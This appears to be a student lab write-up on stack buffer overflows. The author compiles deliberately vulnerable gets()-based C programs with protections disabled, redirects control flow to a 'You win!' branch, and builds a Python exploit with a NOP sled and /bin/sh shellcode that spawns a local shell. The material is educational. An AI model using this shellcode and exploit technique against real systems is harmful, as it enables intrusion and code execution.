Before doing the assignment, disable ASLR :

```
niranjan@niranjan-VirtualBox:~$ sudo sysctl kernel.randomize_va_space=0
[sudo] password for niranjan:
kernel.randomize_va_space = 0
```

1) Buffer Overflow to redirect the control flow of the program

1) Program :

```
niranjan@niranjan-VirtualBox: ~
#include <stdio.h>

int test_pw()
{
        char pin[10];
        int x = 15, i;
        printf("Enter password:");
        gets(pin);
        for (i = 0; i < 10; i += 2) x = (x & pin[i]) | pin[i+1];
        if (x == 48) return 0;
        else return 1;
}

void main()
{
        if (test_pw())
                printf("Fail!\n");
        else
                printf("You win!\n");
}
~
~
~
"buf1.c" 20L, 293C
```

2) Compile the program using the command: shown in the image,

```
niranjan@niranjan-VirtualBox:~$ gcc -g -fno-stack-protector -no-pie -z execstack -O0 -o buf1 buf1.c
buf1.c: In function ‘test_pw’:
buf1.c:8:2: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
  gets(pin);
  ^
/tmp/cc9AzSgE.o: In function `test_pw':
/home/niranjan/buf1.c:8: warning: the `gets' function is dangerous and should not be used.
```

3) Let’s fire up GDB and find the address to which we have to jump to print “You win!”

When we disassembly the main fucntion of the program, we get the address of instruction As highlighted in the image, we need to redirect the flow of the program to this instruction. It will print the message “You win!”

```
niranjan@niranjan-VirtualBox: ~
Dump of assembler code for function main:
   0x080484e4 <+0>:     lea    0x4(%esp),%ecx
   0x080484e8 <+4>:     and    $0xfffffff0,%esp
   0x080484eb <+7>:     pushl  -0x4(%ecx)
   0x080484ee <+10>:    push   %ebp
   0x080484ef <+11>:    mov    %esp,%ebp
   0x080484f1 <+13>:    push   %ecx
   0x080484f2 <+14>:    sub    $0x4,%esp
   0x080484f5 <+17>:    call   0x804846b <test_pw>
   0x080484fa <+22>:    test   %eax,%eax
   0x080484fc <+24>:    je     0x8048510 <main+44>
   0x080484fe <+26>:    sub    $0xc,%esp
   0x08048501 <+29>:    push   $0x80485c0
   0x08048506 <+34>:    call   0x8048340 <puts@plt>
   0x0804850b <+39>:    add    $0x10,%esp
   0x0804850e <+42>:    jmp    0x8048520 <main+60>
   0x08048510 <+44>:    sub    $0xc,%esp
   0x08048513 <+47>:    push   $0x80485c6
   0x08048518 <+52>:    call   0x8048340 <puts@plt>
   0x0804851d <+57>:    add    $0x10,%esp
   0x08048520 <+60>:    nop
   0x08048521 <+61>:    mov    -0x4(%ebp),%ecx
   0x08048524 <+64>:    leave
---Type <return> to continue, or q <return> to quit---
```

5) Let’s find the size of the buffer

As we can see the size of the stack size for test_pw is 40 bytes. After that, there is 4 bytes which saves the stack address of main function and then the return address which is what we need to control.

In the stack, we initialise space for the variable pin therefore the actual buffer size is not 40 bytes. It is less than buffer size. Thus, our payload would look something like this : padding + our address.

We can use python to feed our input into the program using the command:

python -c “print ‘a’*n + ‘\x10\x85\x04\x08’”

In this command, we need to try values less than 40 and see which one works.

```
(gdb) break 8
Breakpoint 1 at 0x8048488: file buf1.c, line 8.
(gdb) r
Starting program: /home/niranjan/buf1

Breakpoint 1, test_pw () at buf1.c:8
8               gets(pin);
(gdb) i r
eax            0xf      15
ecx            0x804b017        134524951
edx            0xb7fbc870       -1208235920
ebx            0x0      0
esp            0xbfffef30       0xbfffef30
ebp            0xbfffef58       0xbfffef58
esi            0xb7fbb000       -1208242176
edi            0xb7fbb000       -1208242176
eip            0x8048488        0x8048488 <test_pw+29>
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/20x $esp
0xbfffef30:     0x00008000      0xb7fbb000      0xb7fb9244      0xb7e210ec
0xbfffef40:     0x00000001      0x00000000      0xb7e37a50      0x0000000f
0xbfffef50:     0x00000001      0xbffff014      0xbfffef68      0x080484fa
0xbfffef60:     0xb7fbb3dc      0xbfffef80      0x00000000      0xb7e21637
0xbfffef70:     0xb7fbb000      0xb7fbb000      0x00000000      0xb7e21637
(gdb)
```

Stack size for the function test_pw (40 bytes)

Return address

5) Successful output in GDB and terminal
After trying different values, we find that the correct value of n is 30.

```
(gdb) ! python -c "print 'a'*30 + '\x10\x85\x04\x08'" > exp-buf
(gdb) r < exp-buf
Starting program: /home/niranjan/buf1 < exp-buf
Enter password:You win!

Program received signal SIGSEGV, Segmentation fault.
0x08048521 in main () at buf1.c:20
20      }
(gdb)
```

```
niranjan@niranjan-VirtualBox:~$ python -c "print 'a'*30 + '\x10\x85\x04\x08'" | ./buf1
Enter password:You win!
Segmentation fault (core dumped)
```

2 : Buffer overflow to spawn a shell

1) Program :

```
niranjan@niranjan-VirtualBox: ~
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char **argv)
{
        char buf[64];
        gets(buf);
}
~
~
```

2) Compile the program

Use the flags show in the image

```
niranjan@niranjan-VirtualBox: ~
niranjan@niranjan-VirtualBox:~$ gcc -fno-stack-protector -mpreferred-stack-boundary=2
-z execstack -no-pie -o buf2 buf2.c
buf2.c: In function 'main':
buf2.c:7:2: warning: implicit declaration of function 'gets' [-Wimplicit-function-decl
aration]
  gets(buf);
  ^
/tmp/ccwbqLgQ.o: In function `main':
buf2.c:(.text+0xb): warning: the `gets' function is dangerous and should not be used.
```

3) Let's examine this program in GDB

Loading up the program in GDB and setting a break point at ret instruction. To find the eip address stored onto the stack . We execute this program. We give our input "aaaabbbb1234". We try to locate this on stack to find the starting address of the buffer.

From the image, we see that the starting address of the buffer is 0xbfffef38.

```
Reading symbols from buf2...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804840b <+0>:     push   %ebp
   0x0804840c <+1>:     mov    %esp,%ebp
   0x0804840e <+3>:     sub    $0x40,%esp
   0x08048411 <+6>:     lea    -0x40(%ebp),%eax
   0x08048414 <+9>:     push   %eax
   0x08048415 <+10>:    call   0x80482e0 <gets@plt>
   0x0804841a <+15>:    add    $0x4,%esp
   0x0804841d <+18>:    mov    $0x0,%eax
   0x08048422 <+23>:    leave
   0x08048423 <+24>:    ret
End of assembler dump.
(gdb) b *0x08048423
Breakpoint 1 at 0x8048423: file buf2.c, line 8.
(gdb) r
Starting program: /home/niranjan/buf2
aaaabbbb1234

Breakpoint 1, 0x08048423 in main (argc=1, argv=0xbffff014) at buf2.c:8
8       }
(gdb) x/wx $esp
0xbfffef7c:     0xb7e21637
(gdb) x/20wx $esp-0x44
0xbfffef38:     0x61616161      0x62626262      0x34333231      0x00000000
0xbfffef48:     0xb7e37a50      0x0804847b      0x00000001      0xbffff014
0xbfffef58:     0xbffff01c      0x08048451      0xb7fbb3dc      0x080481fc
0xbfffef68:     0x08048439      0x00000000      0xb7fbb000      0xb7fbb000
0xbfffef78:     0x00000000      0xb7e21637      0x00000001      0xbffff014
(gdb)
```

Address of buffer

Our input in stack

We step to the instruction to see the address pointed by eip which is 0xb7e21637. This address is at 0xbfffef7c in the stack.

```
(gdb) x/20wx $esp-0x44
0xbfffef38:     0x61616161      0x62626262      0x34333231      0x00000000
0xbfffef48:     0xb7e37a50      0x0804847b      0x00000001      0xbffff014
0xbfffef58:     0xbffff01c      0x08048451      0xb7fbb3dc      0x080481fc
0xbfffef68:     0x08048439      0x00000000      0xb7fbb000      0xb7fbb000
0xbfffef78:     0x00000000      0xb7e21637      0x00000001      0xbffff014
(gdb) si
0xb7e21637 in __libc_start_main (main=0x804840b <main>, argc=1, argv=0xbfff
    rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff00c) at ../csu/libc-s
291     ../csu/libc-start.c: No such file or directory.
(gdb) x/i $eip
=> 0xb7e21637 <__libc_start_main+247>:  add    $0x10,%esp
```

Thus we got 2 address: The starting address of the buffer which is 0xbfffef38 and address of the return address ,which we need to overwrite, which is 0xbfffef7c. If we subtract the both, we got to write 68 bytes and then the address to which we want our program to point to.

4) Creating and writing the exploit.

So we have 68 bytes of data to write. Out of 68 bytes, 28 bytes is the shellcode. The rest will be divided between a nop sled and padding to be added at the end. A word of caution, we are using a 32 bit system, it is better to ensure that bytes are in multiple of 4. Our payload would look like this:

nopsled(32 bytes) + shellcode(28 bytes) + padding(8 bytes) + address.

The address would be pointing to somewhere middle in the nopsled. To do this, we needed the starting address of the buffer.

Let’s write the exploit.

niranjan@niranjan-VirtualBox: ~

```
import struct

eip = struct.pack("I",0xbfffef38+16)

nopslide = "\x90"*(32)

payload  = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1
\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

padding = 'a'*8

print nopslide+payload+padding+eip
~
~
```

5) Execute the exploit in gdb

Before we execute the exploit in gdb, we need to store the output of our script in a file and then give the file as an input in gdb.

We can use the command: python exploit.py > file
Then in gdb, we can give the command: r < file

```
(gdb) r < test
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/niranjan/buf2 < test

Breakpoint 1, 0x08048423 in main (argc=0, argv=0xbffff014) at buf2.c:8
8       }
(gdb) c
Continuing.
process 2730 is executing new program: /bin/dash
```

shell is spawned

As we can see our exploit works in gdb, a shell is spawned however it exists the moment our program finished executing thus we can’t see the actual shell in gdb.

6) Getting shell in terminal

To get the shell in terminal, we use the command: (python exploit.py;cat) | ./buf2
We use cat command to ensure the shell remains once it is spawns.

```
niranjan@niranjan-VirtualBox:~$ (python exploit.py;cat) | ./buf2
asd
Segmentation fault (core dumped)
niranjan@niranjan-VirtualBox:~$
```

Well, unfortunately our exploit fails in the terminal. The reason for this is that the starting address of buffer is different in gdb than the real one. So, we need to keep updating the address in our exploit until it hits our nop sled.

Our exploit looks this. Notice the change in the eip value.

```
niranjan@niranjan-VirtualBox: ~
import struct

eip = struct.pack("I",0xbfffef38+64)

nopslide = "\x90"*(32)

payload  = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1
\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

padding = 'a'*8

print nopslide+payload+padding+eip
~
~
```

Executing this, we get the shell in the terminal:

```
niranjan@niranjan-VirtualBox:~$ (python exploit.py;cat) | ./buf2
ls
2buf       Templates    buf2.c            format4.c
Desktop    Videos       examples.desktop  netmate-flowcalc-master
Documents  alphabet     exp               peda
Downloads  buf1         exp.py            peda-session-buf2.txt
Music      buf1.c       exploit-old.py    test
Pictures   buf2         exploit.py        todo.txt
Public     buf2-test-2  format4
whoami
niranjan
```

Thus we have a shell spawned in the terminal as well.